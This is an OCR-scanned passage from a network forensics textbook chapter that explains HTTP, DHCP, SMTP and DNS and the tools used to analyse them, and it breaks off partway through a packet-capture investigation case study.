By default, HT'TP servers operate over TCP port 80, although they are often configured to
listen on different ports. A Uniform Resource Identifier (URI) is a string used to specify the
location of a resource.**

HTTP requests and responses are referred to as messages. HT TP messages can include a
message header (which typically contains fields that store metadata about the transaction)
and a message body (which normally contains content used in the request or response).

The HTTP protocol uses methods to perform operations. For example, the “GET”
method is used to retrieve a web page and the “POST” method is used to send data to
a server.

There are eight methods defined by the RFC (and the protocol is extensible, so custom
methods can be defined). Only the “GET” and “HEAD” methods must be supported by a
web server; these are designed simply for information retrieval. Other methods are optional.
Methods defined by RFC 2616 include:

e OPTIONS—Obtain information about communicating with the remote server.
o GET—Retrieve the information identified by the URI.

e HEAD—Retrieve the information identified by the URI, without returning a message-
body. Helpful for URI validation and debugging.

43. Tim Berners-Lee, “HyperText Transfer Protocol,” June 12, 1992, http://www.w3.org/History/
19921103-hypertext/hypertext/ WWW /Protocols/HTTP.html.

44. R. Fielding et al., “Hypertext Transfer Protocol—HTTP/1.1,” IETF, June 1999, http://www.ietf.org/
rfc/rfc2616.txt.
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e POST —Send data to the resource specified by the URI for processing.
e PUT—Upload information to be stored under the specified URI.
e DELETE—Delete the resource specified by the URI.

¢ TRACE—Echo a request message back to the client. Helpful for debugging (can also
facilitate cross-site scripting attacks).

e CONNECT—Reserved “for use with a proxy that can dynamically switch to being
a tunnel.”4?

The HTTP response sent from the server includes a three-digit status code, which
indicates the status of the request, and reason phrase, which provides a human-readable
description of the status. Common status codes include 200 (“OK”), which means that
the request was successfully processed, and 404 (“Not Found”), which means that the URI
requested was not found on the server.

There are five categories for status codes, organized by the first digit:46

- 1xx: Informational - Request received, continuing process

- 2xx: Success - The action was successfully received,
understood, and accepted

- 3xx: Redirection - Further action must be taken in order to
complete the request

- 4xx: Client Error - The request contains bad syntax or cannot
be fulfilled

- 5xx: Server Error - The server failed to fulfill an apparently
valid request

Designed to run on top of a reliable, connection-oriented protocol such as TCP, HTTP
does not include built-in mechanisms to track session state. Over time, software engineers
have developed ways to track the state of HT'TP sessions, such as cookies, which are small
files on the client system that maintain data related to an HTTP session.

For more details about web page caching and web proxies, please see Chapter 10.

4.4.1.2 Dynamic Host Configuration Protocol (DHCP)

To communicate over modern Ethernet networks, every computer has a network card, which
is assigned a 6-byte MAC address by the manufacturer. In order to take advantage of IP-
based routing, each computer also needs to be assigned a 32- or 128-bit IP address (for IPv4
or IPv6, respectively). Once upon a time, network administrators configured each computer
manually with a static IP address that did not change. As large-scale deployments and mobile
devices became increasingly common, it became clear that there was a need to dynamically
assign IP addresses so that computers could be deployed and moved throughout the network
without requiring manual IP address configuration changes.

45. “Hypertext Transfer Protocol—HTTP/1.1.”
46. Ibid.
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IEEE 802.3 Frame Header

Bytes 0 1 2 3
101010107 0I/[.] Préaribie 8 byies)

it edod:03:071d

0x00 Destination Address (Organizationally Unique 1D) ; DA (NIC)

0x04 Destination Address (NIC), cont. Sending Address (OUI)

0x08 SA (OUIl), cont. ¢ Sending Address (Network Interface Card)

0x0C Length FrameBody

Figure 4-31. Every network card on an Ethernet network has a 6-byte MAC address, assigned
by the manufacturer. Manufacturers have their own 3-byte registered identification number
(known as an OUI), which they set as the higher-order 3 bytes of the MAC address.

These days, most organizations use Dynamic Host Configuration Protocol (DHCP) to
dynamically assign IP addresses to network cards, rather than configuring static IP addresses
on each system. DHCP is a Layer 7 protocol that facilitates automatic configuration of
network details, including IP address, gateway, DNS servers, and more. There are separate
versions of DHCP for IPv4*” and IPv6.4® DHCP is designed to operate over UDP, on ports
67 and 68.

For forensic investigators, DHCP records are often the “glue” between a computer’s
traffic and the physical realm. DHCP server logs and DHCP communications in packet
captures can contain valuable infomation, including the client MAC address (which can
provide clues to the hardware manufacturer), client hostname, routing information, and
more.

MAC Addresses As discussed, every network card on an Ethernet network has a 6-byte
MAC address, assigned by the manufacturer. Ethernet frames include a 6-byte field for the
destination MAC address and another for the source MAC address. Computers on the local
subnet typically listen for Ethernet frames destinated for their network card’s MAC address
(or the broadcast MAC address, fI:fl:ff:ff:ff:fF).

Each manufacturer has their own 3-byte registered identification number, known as an
Organizational Unique Identifier (OUT), which they set as the high-order 3 bytes of the MAC
address on each card they manufacture, as shown in Figure 4-31. When you encounter a
MAC address, you can look up the OUI to determine the likely manufacturer of the network
card. For the purposes of forensics, it is often helpful to have evidence that indicates the
manufacturer of client hardware. However, the network card’s MAC address can be changed
by the end-user from within their operating system, although in practice most people do not.

For example, let’s suppose we have a client with the MAC address “00:12:79:3f:27:e5.”
The first 3 bytes represent the manufacturer’s OUL. The IEEE maintains a public listing of
OUTI assignments. In the IEEE’s public file, the bytes are separated by hyphens rather than
colons, so we will search for “00-12-79.” This OUI is assigned to Hewlett-Packard (HP), so

47. R. Droms, “RFC 2131-—Dynamic Host Configuration Protocol,” IETF, March 1997, http://rfc-editor
.org/rfc2131.txt.

48. R. Droms et al., “RFC 3315—Dynamic Host Configuration Protocol for IPv6 (DHCPv6),” IETF, July
2003, http://rfc-editor.org/rfc3315.txt.
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HP is the likely manufacturer of the network card. Remember, the MAC address can be
changed by the end-user, although in practice this is rare.*’

DHCP When a computer is connected to the network, it broadcasts a DHCP request. The
local DHCP server will answer with a unicast reply (at Layer 3). This is much like ARP,
where the ARP request is broadcast (at Layer 2) and the reply is unicast. In its response, the
DHCP server offers a DHCP lease, which is an IP address assignment for a limited amount
of time. That lease includes the IP address assigned, the netmask and gateway address,
often DNS server addresses, and always the amount of time that the lease is valid. Most
clients will request a lease renewal before the lease expires, thereby maintaining the same
IP address for an extended period of time. As a result, in practice DHCP leases are fairly
stable, meaning that a computer may be assigned the same IP address for days, weeks, or
months. This is not guaranteed, but it is often the case.
When analyzing DHCP traffic, you will frequently see the following exchange:

e Client: DHCPDISCOVER (Layer 2 broadcast)
e Server: DHCPOFFER

e Client: DHCPREQUEST

e Server: DHCPACK

This is the process by which a client discovers the DHCP server and receives a DHCP
lease. By default, the client will attempt to renew its DHCP lease when half of the lease
time has expired.

The following excerpt from the IETF’s RFC 2131 “Dynamic Host Configuration Proto-
col” summarizes the purpose of various DHCP messages:°°

Message Use

DHCPDISCOVER

Client broadcast to locate available servers.

DHCPOFFER - Server to client in response to DHCPDISCOVER with offer
of configuration parameters.

DHCPREQUEST - Client message to servers either (a) requesting
offered parameters from one server and implicitly
declining offers from all others, (b) confirming
correctness of previously allocated address after,
e.g., system reboot, or (c) extending the lease on
a particular network address.

DHCPACK - Server to client with configuration parameters,
including committed network address.
DHCPNAK - Server to client indicating client's notion of network

address is incorrect (e.g., client has moved to new
subnet) or client's lease has expired

49. IEEE, “OUI List,” July 7, 2011, http://standards.ieee.org/develop /regauth/oui/oui.txt.
50. “RFC 2131—Dynamic Host Configuration Protocol.”
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DHCPDECLINE - Client to server indicating network address is
already in use.

DHCPRELEASE - Client to server relinquishing network address and
cancelling remaining lease.

DHCPINFORM - Client to server, asking only for local configuration
parameters; client already has externally
configured network address.

The DHCP message exchange for a new network address allocation is illustrated in the
table below, from RFC 2131:°!

Server Client Server
(not selected) (selected)

v v
|
|
|

v
| |
|
|
[
|

| /DHCPDISCOVER | DHCPDISCOVER \

|
Determines
configuration

Determines
configuration

I\ | /|
N _ | /DHCPOFFER |
| DHCPOFFER\ I/ |
| AU |
| Collects replies |
| \ |
| Selects configuration |
| | |
| JIN |
|/ DHCPREQUEST | DHCPREQUEST\ |
| | |
| Commits configuration
| |
I /1

| |
Initialization complete |
|

|

|

|

| |/ DHCPACK |
|

|

| |

| |
Graceful shutdown |

| |

IN |

| DHCPRELEASE \|
|
Discards lease
|

|
|
|
v v

51. “RFC 2131—Dynamic Host Configuration Protocol.”



126 Chapter 4 Packet Analysis

Figure 4-32. As with snail mail, an email message goes through multiple stations on the way
to its destination.

4.4.1.3 Simple Mail Transfer Protocol (SMTP)

The Simple Mail Transfer Protocol (SMTP) was designed as a protocol that clients could
speak with servers in order to deliver outbound email, as well as to provide for their delivery
hop-by-hop to the end mail transfer agent (MTA). The end MTA either took responsibility
for local delivery to another process, or rejected the missive. Originally used on TCP port
25, it is commonly seen on TCP port 587, and used with SMTP Authentication.??

Basic Use As with “snail mail” (see Figure 4-32) email messages go through many different
stations on their way between sender and recipient. When you send a physical letter, you
might place it in your own mailbox. Then it gets picked up and brought to your local
post office, then transferred to a regional post office, then transferred a long distance to
another regional post office, then the local post office at the destination town, and finally
the recipient’s mailbox. Similarly, when you send an email, the message might travel from
your local mail client, to a mail submission agent (MSA) within your organization, to mail
transfer agent an MTA, to the mail exchanger (MX) for the destination domain, to the local
mail delivery agent (MDA), and finally to the recipient’s mailbox. %354

SMTP Terminology

Here are definitions for important terms used to describe devices which implement SMTP:

e Mail User Agent (MUA)—The end-user’s mail client
Mail Submission Agent (MSA)—Handles local mail submission

Mail Transfer Agent (MTA)—Transfers mail between mail servers

Mail eXchanger (MX)—Accepts incoming messages for a domain
Mail Delivery Agent (MDA )—Handles local mail delivery

52. J. Klensin, “RFC 5321—Simple Mail Transfer Protocol,” IETF, October 2008, http://rfc-editor.org/
rfc/rfe5321.txt.

53. “RFC 5321—Simple Mail Transfer Protocol.”

54. “Simple Mail Transfer Protocol,” Wikipedia, July 22, 2011, http://en.wikipedia.org/wiki/Simple _Mail
_Transfer_Protocol#Outgoing_mail_ SMTP _server.
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Basic commands FEach SMTP transaction includes four command sequences:
¢ HELO—Opens the connection
o MAIL—Specifies the return address
e RCPT—Specifies the recipient address(es)

e DATA —The contents of the message. This includes the message header and the
message body. The message header contains data such as the “From,” “To,” “Date,”
and “Subject” lines, which typically appear in the mail client’s display. The message
body contains the actual contents of the message. The message header and message
body are separated by an empty line.

At the end of each command sequence, the mail server has the opportunity to accept or
reject the values entered by the client.

A simple transcript Here is a simple transcript of an SMTP exchange:

$ telmet 10.1.34.114 25

Trying 10.1.34.114...

Connected to 10.1.34.114.

Escape character is '~]'.

220 smtp.lmgsecurity.com

HELO client.example.com

250 smtp.lmgsecurity.com

MAIL FROM: jonathan@lmgsecurity.com

250 2.1.0 Ok

RCPT TO: sherri@lmgsecurity.com

250 2.1.5 0k

DATA

354 End data with <CR><LF>.<CR><LF>

From: Jonathan Ham <jonathan@lmgsecurity.com>
To: Sherri Davidoff <sherri@lmgsecurity.com>
Date: Mon, 06 September 2010 01:20:45 -0700
Subject: nice SMTP example!

That 's the best SMTP example I've ever seen! Simply amazing. Two thumbs up.
/ jonathan

250 2.0.0 Ok: queued as BOF6618C06D

SMTP Authentication During the 1990s, email spam became a serious problem. Until
then, most mail servers did not require authentication in order to submit messages for
relaying, and as a result, spammers worldwide submitted large volumes of messages to be
transferred through other people’s mail servers. In the 1990s, the SMTP Authentication stan-
dard was first developed to provide a standard protocol for SMTP authentication in order
to block illegitimate senders from using third-party mail servers to relay spam. The specifi-
cation has been improved upon and refined over time. In the example below, note that plain
text authentication is used. When this option is selected, the credentials are transmitted
as Base64-encoded characters. The string in the example, “dGVzdABOZXNOADEyMzQ=,”
decodes as “testtest1234.” (You can use the “base64” command on many Linux systems to
decode it.)
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Here’s a nice example from RFC 4954:5°

S: 220-smtp.example.com ESMTP Server

C: EHLO client.example.com

S: 250-smtp.example.com Hello client.example.com

S: 250-AUTH GSSAPI DIGEST-MD5

S: 250-ENHANCEDSTATUSCODES

S: 250 STARTTLS

C: STARTTLS

S: 220 Ready to start TLS
TLS negotiation proceeds, further commands
protected by TLS layer

C: EHLO client.example.com

S: 250-smtp.example.com Hello client.example.com

S: 250 AUTH GSSAPI DIGEST-MD5 PLAIN

C: AUTH PLAIN dGVzdABOZXNOADEyMzQ=

S: 235 2.7.0 Authentication successful

4.4.1.4 Domain Name System (DNS)

The Domain Name System (DNS) protocol provides a hierarchical distributed database for
resolving the names that people prefer to use with the 32-bit IPv4 or 128-bit IPv6 numer-
ical addresses.’® For both the original “top-level domains” (TLDs) and the newer country
code/vanity TLDs, there are “root” servers established that understand the distribution
and delegation of control. Hence querying the “.edu” root server for “computer.mit.edu”
will not result in an authoritative answer, but rather a pointer to the delegate nameserver
for “mit.edu,” which may know the authoritative answer.

DNS is a query-response protocol. The client typically asks a question within a single
UDP packet and the server’s response similarly fits within a single UDP packet. The DNS
protocol defines the structure of both the query and response. In the structure, there are
fields for many types of data that could be requested and the corresponding answers. Some
of these fields can contain arbitrary data, and therefore can be used as the basis for a
bidirectional covert channel.

Since the underlying Layer 3 protocol is UDP, it is up to the tunneled protocols to
provide reliable delivery, flow control, and so forth. As a consequence, it is common to see
TCP traffic tunneled over IP traffic layered over DNS over UDP.

It is possible to route normal DNS traffic over TCP. For example, this commonly occurs
when the server’s response to a query is too large to fit within a single UDP packet. In this
event, the server, as per the DNS protocol, sets the “truncated” bit in its DNS reply to
indicate that the response has been truncated to fit in the UDP-encapsulated reply. Usually
the client resubmits the query via a TCP connection so that it can retrieve the entirety of
the reply. This often occurs when there is a request for an AXFR record, also known as a
DNS “zone transfer.” This query essentially asks the server to tell the client everything it
knows about a particular domain. These types of requests provide valuable reconnaissance

55. R. Siemborski et al., “RFC 4954—SMTP Service Extension for Authentication,” IETF, July 2007,
http://rfc-editor.org/rfc/rfc4954.txt.

56. P. Mockapetris, “RFC 1035—Domain Names—Implementation and Specification,” IETF, November
1987, http://rfc-editor.org/rfc/rfc1035.txt.
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information for attackers and are often a precursor to attack. As a result, DNS over TCP
port 53 is often blocked at the perimeter or monitored. Therefore, attackers seeking to use
DNS for a covert channel are likely to stick with UDP.?”

DNS Recursion DNS queries that seek to map names to IP addresses (which is the most
common case) start out with a client making a query of the server it considers to be most
knowledgeable. That server then crawls the hierarchical space for the answer, returns it, and
then also caches the result to expedite any subsequent client queries for the same information.
To recurse from the root of “.edu” to an authoritative answer about, say, computer.mit.edu,
a number of queries might be required.

DNS Queries It can be extremely important to collect name-to-address mapping. This can
be accomplished by querying any number of DNS servers, both internal and external. The
result will be a snapshot of answers being offered at the time, based on caching parameters.
The simplest request can take the form of a command-line query as such:

$ dig www.google.com

This will result in an address record (A) query from the default nameserver. Specific name-
servers can be queried with dig as follows:

$ dig @ns.google.com www.google.com

Reverse “PTR” records and other records such as nameserver delegations can be obtained
as well:

$ dig Ons.modwest.com 204.11.246.86 PTR
$ dig lmgsecurity.com NS

4.4.2 Higher-Layer Analysis Tools

There are a wide variety of tools available that interpret higher-layer protocols and auto-
matically print important details, carve out files, decode data, or even produce professional-
quality forensic reports. Some of these tools are highly specialized for use with one specific
higher-layer protocol, whereas others are multipurpose.

In this section, we review a few examples of tools that are designed for higher-layer
protocol analysis.

4.4.2.1 oftcat

Written by Kristinn Gudjénsson, oftcat is a dedicated OFT protocol dissector and data-
carving tool. It expects as input a data file that contains a single flow’s reassembled transport-
layer payload, such as tcpflow or pcapcat, might produce. As output, oftcat produces a
protocol summary of all of the OFT activity it can identify. It also recovers any files trans-
ferred within the data stream, and saves them as files with their correct names based on the
OFT metadata.’® You can see this tool in action in Section 4.4.3.1.

57. J. Postel, “RFC 792—Internet Control Message Protocol,” September 1981, http://www.rfc-editor.org/
rfc/rfe792.txt.

58. Kristinn Gudjénsson, “oftcat,” August 18, 2009, http://blog.kiddaland.net/dw/oftcat.
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4.4.2.2 smtpdump

The smtpdump tool was written by Franck Guénichot, the co-winner of Puzzle #2, “Ann
Skips Bail.”?? Smtpdump’s “help” display speaks for itself:

$ smtpdump

smtpdump version 0.1,

Copyright (C) 2009 Franck GUENICHOT

smtpdump comes with ABSOLUTELY NO WARRANTY;
This is free software, and you are welcome
to redistribute it under certain conditions.
(GPL v3)

Usage: smtpdump [$options] -r <pcap_file>

-A, --auth Display SMTP Auth informations (only
LOGIN method)

-e, --info Display E-mail informations

-b, --brief Display minimum e-mail informations

-x, —--xtract Extract e-mail attachments

-m, --mdb Display extracted attachment MD5 Hash

-s, ——-save Save raw e-mail to file

-f, --flow-index <index> Filters only given index flow

-r, --read <pcap_file> Read the given pcap file [REQUIRED]

-v, --version Display version information

-h, --help Display this screen

4.4.2.3 findsmtpinfo.py

Jeremy Rossi, co-winner of Puzzle Contest #2 (“Ann Skips Bail”),%° created an SMTP
analysis tool that is absolutely simple to use. You specify the pcap file, and it automatically
extracts authentication data, decodes Base64-encoded credentials, prints mail header info,
extracts each attachment, takes the MD5sum, and produces a report. The report is detailed
and well suited for the appendix of a forensic examiner’s findings report.

Here’s a description of findsmtpinfo.py written by Jeremy Rossi for the contest: %!

The initial idea was to write the entire process in Python, but after

starting to write the code, I found that tcpflow can handle parsing the
pcap the Python code can be used to present the data and analyze the
output. I called the Python script findsmtpinfo.py.

The script creates a report of the SMTP information, stores any emails in msg
format, stores any attachments from the emails, decompresses them if they
are a compressed format (zip, docx), checks MD5 hashes of all files

including the msg files (and generates MD5 hash of output report).

59. Franck Guénichot, “Index of /contest02/Finalists/Franck_Guenichot,” December 17, 2009, http://
forensicscontest.com/contest02/Finalists/Franck_Guenichot/.

60. Jeremy Rossi, “Index of /contest02/Finalists/Jeremy _Rossi,” December 17, 2009, http://forensicscontest
.com/contest02/Finalists/Jeremy_Rossi/.

61. Ibid.
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So the Python script makes use of three arguments:

-pl--pcap This argument specifies the pcap file

-r|--report This argument specifies the report output directory [Defaults
to ./report]

-f|--force If the report directory has files already, this argument is

required to allow overwriting of files

findsmtpinfo.py -p evidenceO2.pcap -r ./report

4.4.2.4 NetworkMiner

NetworkMiner, by Erik Hjelmvik, is a fantastic multipurpose traffic analysis tool. It runs on
Windows, and has both an intuitive GUI interface and a powerful protocol analysis engine.
There is a free, open-source edition of NetworkMiner. You can download it from http://
networkminer.sourceforge.net /.52

We explore NetworkMiner in more detail in Section 4.4.3.2.

4.4.3 Higher-Layer Analysis Techniques

There are two general strategies to consider when conducting automated analysis of higher-
layer protocols:

e Use small, specialized tools that are each specifically designed to analyze a particular
higher-layer protocol; or

e Use a multipurpose tool to quickly gather a wide range of information about the traffic.

Each strategy comes with benefits and tradeoffs, as we will discuss momentarily.

4.4.3.1 Small, Specialized Tools

As we have seen, tools such as oftcat and smtpdump are specifically designed for analysis of
one higher-layer protocol. They are small and have a limited range of options, but provide
more support for analyzing their targeted protocols than most if not all multipurpose tools.

Small and specialized tools are very useful when you have a clear understanding of the
higher-layer protocol contained within the packet capture. They are also usually designed
to interface easily with other tools so that output can be redirected into another program
for further processing.

Let’s see what happens when we use “oftcat” to analyze the OFT file transfer in “Ann’s
Bad AIM.” Recall that carving out the transferred file earlier was a painstaking manual
process and our attempt to use tcpxtract was unfortunately thwarted due to erroneous
TCP stream reconstruction. Perhaps a small tool, specifically designed to analyze the OFT
protocol, will help us carve out the transferred file correctly and efficiently.

62. Erik Hjelmvik, “NETRESEC NetworkMiner—The Network Forensics Analysis Tool,” 2011, http://www
.netresec.com/?page=NetworkMiner.
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Here we are using oftcat to interpret the half-duplex flow from 192.168.1.158 to
192.168.1.159, which tcpflow carved out:

$ oftcat -r 192.168.001.158.05190-192.168.001.159.01272

File name: 192.168.001.158.05190-192.168.001.159.01272

Parsing OFT (Oscar File Transfer) header

Name of file transferred:

Total number of files 1

Files left: 1

Total parts: 1

Parts left: 1

Total size: 12008

Size: 12008

Checksum: 2976120832

ID string 'Cool FileXfer'

Type: PEER_TYPE_GETFILE_RECEIVELISTING, PEER_TYPE_RESUMEACK,
PEER_TYPE_RESUME, PEER_TYPE_GETFILE_REQUESTLISTING,
PEER_TYPE_RESUMEACCEPT , PEER_TYPE_GETFILE_ACKLISTING, PEER_TYPE_PROMPT,

Name offset O

parsing file information
Final header (after file transfer)

File: recipe.docx saved in file recipe.docx

As you can see, with the press of a button oftcat automatically identified an OFT mes-
sage, printed important OFT protocol details to the screen, and carved out the transferred
file (“recipe.docx”). We can subsequently check the file size and take the cryptographic
hashes:

$ sha256sum recipe.docx
f0f74a982a814640aedaabfd6542ac810e8c5e257552bcc024a5¢c808343bccf9 recipe.docx

$ md5sum recipe.docx
8350582774e1d4dbel1d61d64c89e0eal recipe.docx

$ 1s -1 recipe.docx
“TWX------ 1 student student 12008 2011-01-08 23:42 recipe.docx

The cryptographic hashes and the file size (12,008 bytes) match the values we found
earlier when we carved the file out by hand. Notice that the file size of “recipe.docx” (12,008
bytes) also matches the values reported by oftcat as the “Total Size” (“12,008”).

Carving the file out with oftcat was much easier than doing so manually, and it produced
the same result. Imagine if you had a packet capture with lots of OFT file transfers! You
would want a reliable tool that automates the job, such as oftcat.

4.4.3.2 Multipurpose Tool

Multipurpose tools such as NetworkMiner include support for a wide variety of protocols,
including higher-layer protocols such as SMTP, AIM, and others. Multipurpose tools are
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Figure 4-33. NetworkMiner with the “Ann's Bad AIM" evidence0l.pcap loaded.

especially useful when you want to gather a wide variety of information from a packet
capture, potentially relating to multiple higher-layer protocols, or if you are not sure exactly
what you are looking for. Multipurpose tools are designed to provide a broad spectrum of
information about a packet capture.

As an example, let’s use NetworkMiner to analyze the Ann’s Bad AIM evidence file. In
Figure 4-33, you can see a screenshot of NetworkMiner in action. We simply dragged and
dropped the evidence file (evidence0l.pcap) into NetworkMiner and it automatically inter-
preted the results. The first tab, “Hosts,” lists all of the IP addresses of the hosts that
transmitted IP traffic in the packet capture.

In NetworkMiner’s “Files” tab (shown in Figure 4-34), you can see all the files that
NetworkMiner carved out of the packet capture, including the “recipe.docx” file. By right-
clicking on the filename, you can open it up and view the contents or save it to a folder.

Easy! While a multipurpose tool such as NetworkMiner may not always support the
specific higher-layer protocol of interest to you, it is often a good place to start.

4.5 Conclusion

Packet analysis is a complex art. From identifying protocols within packets, to isolating
packets of interest, to reconstructing flows and carving out higher-layer protocol data, mas-
tering packet analysis takes patience and keen attention to detail. Many tools exist for packet
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Figure 4-34. NetworkMiner has already extracted recipe.docx.

analysis, but they are not always accurate, especially because the underlying network pro-
tocols and specifications are constantly changing.

In this chapter, we began by studying network protocols. We discussed where protocols
are defined and documented, with the caveat that there is no guarantee that what is on
paper matches reality! We introduced a variety of protocol and packet analysis tools and
took an in-depth look at a few important higher-layer protocols, which we will refer to
throughout the book. Although our focus is always on teaching you the low-level techniques

so that you can understand what your tools are doing, we also introduced multipurpose
packet analysis tools, which are very powerful and popular.
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4.6 Case Study: Ann’s Rendezvous

The Case: After being released on bail, Ann Dercover disappears! Fortunately, investiga-
tors were carefully monitoring her network activity before she skipped town. “We believe
Ann may have communicated with her secret lover, Mr. X, before she left,”” says the police
chief. “The packet capture may contain clues to her whereabouts.”

Challenge: You are the forensic investigator. Your mission is to analyze the packet
capture and gather information about Ann’s activities and plans.
The following questions will help guide your investigation:

e Provide any online aliases or addresses and corresponding account credentials that
may be used by the suspect under investigation.

e Who did Ann communicate with? Provide a list of email addresses and any other
identifying information.
e Extract any transcripts of Ann’s conversations and present them to investigators.

e If Ann transferred or received any files of interest, recover them.

e Are there any indications of Ann’s physical whereabouts? If so, provide supporting
evidence.

Network:

e Internal network: 192.168.30.0/24
e DMZ: 10.30.30.0/24

e The “Internet”: 172.30.1.0/24 [Note that for the purposes of this case study, we are
treating the 172.30.1.0/24 subnet as “the Internet.” In real life, this is a reserved non-
routable IP address space.]

Evidence: Investigators provide you with a packet capture from Ann’s home network,
“evidence-packet-analysis.pcap.” They also inform you that in the course of their monitoring,
they have found that Ann’s laptop has the MAC address 00:21:70:4D:4F:AE.

4.6.1 Analysis: Protocol Summary

There are many possible ways to approach this investigation. Let’s begin by taking a quick
high-level look at the protocols contained in this packet capture. Using Wireshark, we open
the packet capture and go to Statistics—Protocol Hierarchy. As you can see in Figure 4-35,
100% of the traffic in the evidence packet capture is Ethernet (at Layer 2) and IP at Layer 3.

Note the presence of “Bootstrap Protocol,” which is used to transfer DHCP requests
and responses. This might allow us to easily link the given MAC address to an assigned IP
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Figure 4-35. This screenshot provides a high-level look at the protocols contained in this
packet capture, using Wireshark's Protocol Hierarchy function.

address and other network configuration information. Since we are looking for communica-
tions protocols, it is also worth pointing out that the most voluminous higher-layer protocols
used in the packet capture are DNS (13.19% of the packet capture), SMTP (10.82% of the
packet capture), and IMAP (11.70% of the packet capture). These three protocols are com-
monly seen together when email is exchanged over a network.

4.6.2 DHCP Traffic

Now let’s examine the “Bootstrap Protocol” traffic. Using the Wireshark Display Filter
“eth.addr == 00:21:70:4d:4f:ae and bootp,” we can narrow down the packet capture so
that we are only viewing “Bootstrap Protocol” traffic that relates to the MAC address
“00:21:70:4d:4f:ae,” which we refer to as “Ann’s computer” based on the given information.

As you can see in Figure 4-36, Wireshark automatically looks up the registered OUI,
“00:21:70,” and displays the corresponding manufacturer, Dell. (We can verify this using
the IEEE’s published documentation.) The first message shown is a broadcast DHCP Re-
quest from Ann’s computer. In this message, we can see that the Requested IP Address is
192.168.30.108, which is likely the address that Ann’s computer was assigned the last time
it was on a network. The hostname is listed as “ann-laptop”—nice evidence to corroborate
our theory that this system belongs to Ann.
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Filter: "eth.addr == 00:21:70:4d:4F ae and bootp

w | Expression... | CLea[l App_[y|

No. Time - Source Destination Protocol InFo
3 1.746510 0.0.0.0 355, 255, 755, 255
3 1.746522 0.0.0.0 355,255, 255,255  DHCP DHCP Request
4 1.746526 0.0.0.0 255,255, 255,255  DHCP DHCP Request
5 1.747258 192.168,30.10 192.168.30,108  DHCP DHCP ACK

Internet Protocol, Src: 0.0.0.0 (0.0.0.0), Dst

{d ve v

Bootstrap Protocol

Message type: Boot Reguest (1)

Hardware type: Ethernet

Hardware address length: &

llops: O

Transaction ID: Ox6a3f4boc

seconds elapsed: ©

Bootp flags: OxG000 (Unicast)

Client IP address: ©.0.0.0 (0.0.0.0)
Your (client) IP address: 0.0.0.0 (0.0.0.0)
Next server IP address: 0.0.0.0 (0.0.0.0)
Relay agent IP address: 0.0.0.0 (0.0.0.0)

-

Server host name not given
Boot file name not given
Magic cookie: (OK)

Frame 2 (352 bytes on wire, 352 bytes captured)
Ethernet II, Src: Dell_4d:4f:ae (00:21:70:4d:4f:ae), Dst:

Broadcast (ff:ff:ff:ff:ff:ff)

255.255.255. 255 (255,255, 255, 355

User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67)

Client MAC address: Dell_4d:4f:ae (00:21:70:4d:4f:ae)
MHient hardware address padding: OORAAOOAAOOOAACOGOAAG

I Oplion: (1=53,1=1) DHCP Messaye Type = DHCP Reguesl

P Option: (t=61,1=7) Client identifier

I Uption: (t=50,1=4) Hequested LP Address = LY9Z.1b5.30, 105

P Option: (t=12,1=18) Host Name = "ann-laptop"

[P Option: (t=81,1=14) Client Fully Qualified Domain Mame

P Option: (t=60,1=8) Vendor class identifier = "MSFT 5.0"

P Option: (t=55,1=11) Parameter Request List

End Option
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Figure 4-36. A DHCP Request packet from Ann's computer. Notice that Wireshark automat-
ically looks up the registered OUI, “00:21:70," and displays the corresponding manufacturer,

Dell.

After three DHCP Requests, we see a DHCP ACK from 192.168.30.10, as shown in
Figure 4-37. Based on the options listed in the DHCP ACK, we can see that the client
00:21:70:4d:4f:ae has indeed been assigned the IP address 192.168.30.108. The DHCP Server
Identifier is 192.168.30.10 (which makes sense, given that the DHCP ACK packet originated
from 192.168.30.10). The DNS server is listed as 10.30.30.20, so unless Ann’s computer has
been manually configured to use a different DNS server, we can expect to see her system
sending DNS requests to 10.30.30.20. The “Router” is listed as 192.168.30.10, and the Subnet
Mask is 255.255.255.0, so again, unless Ann’s computer has been manually configured to
use a different gateway, her system will send traffic destined for outside the local subnet to
192.168.30.10. The IP Address Lease Time is set to 1 hour. According to RFC we should
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Filcer: Ieth.addr == 00:21:70:4d:4F ae and bootp
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ﬂ Expression... | Clea[| Applyl

No. |Time = Source Destination |Prot0c0l | InFo
2 1.746510 0.0.0.0 255, 255, 255,255 DHCP DHCP Request
3 1,746522 0.0.0.0 255,255,255.255  DHCP DHCP Request
4 1,746526 0.0.0.0 255, 255,255,255 DHCP DHCP Request
S5 1,747259 2.168,30.10 DHCP_ACK

Frame 5 (358 bytes on wire, 358 bytes captured)

User Datagram Protocol, Src Port: bootps (67), Dst Port: bootpc (68)
Bootstrap Protocol

Message type: Boot Reply (2]

Hardware type: Ethernet

Hardware address length: &

Hops: ©
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Bootp flags: 0x0000 (Unicast)

Client IP address: 0.0.0.0 (0.0.0.0)

Your (client) IP address: 192.168.30.108 (192.168.30.108]
Mext server IP address: 0.0.0.0 (0.0.0.0)

Relay agent IP address: 0.0.0.0 (0.0.0.0)

Client MAC address: Dell_4d:4f:ae (00:21:70:4d:4f:ae)
Client hardware address padding: 0000000000000000000G
Server host name not given

Boot file name not given

Magic cookie: (OK)
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Option: (t=1,1=4) Subnet Mask = 255,255,255.0

Option: (t=6,1=4) Domain Mame Server = 10.30.30.20
Option: (t=45,1=1) MctBIOS over TCR/IM Mode Type = H node
Option: (t=3,1=4) Router = 192.168.30.10

End Option

== v v
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Internet Protocol, Src: 192.168.30.10 (192.168.30.10), Dst: 192.168.30.108 (192.168.30.108)
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Figure 4-37. A DHCP ACK packet from the DHCP server to Ann's computer. Based on the
options listed in the DHCP ACK, we can see that the client 00:21:70:4d:4f:ae has indeed been
assigned the IP address 192.168.30.108.

see a DHCP renewal request after half the lease time has expired, as corroborated by the
explicit Renewal Time Value of 30 minutes.

4.6.3 Keyword Search

A keyword search, or “dirty word” search, is often an efficient way to identify traffic of
interest within a packet capture. In this case, since we are looking for communications
relating to a known suspect, we might start by searching the packet capture for references
to her name, “Ann Dercover.” (We could have chosen other keywords to begin, such as
simply “Ann,” or other known aliases, but short keywords often turn up a lot of extra
matches that are not what the forensic investigator intends. It is generally more effective to
begin with longer, unique keywords and to execute additional searches as needed based on
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the results.) The “ngrep” example below illustrates one way to search for a keyword within
a packet capture.

$ ngrep "Ann Dercover" -N -t -q -I evidence-packet-analysis.pcap
input: evidence-packet-analysis.pcap
match: Ann Dercover

T(6) 2011/05/17 13:33:07.203874 192.168.30.108:1684 -> 64.12.168.40:587 [A]
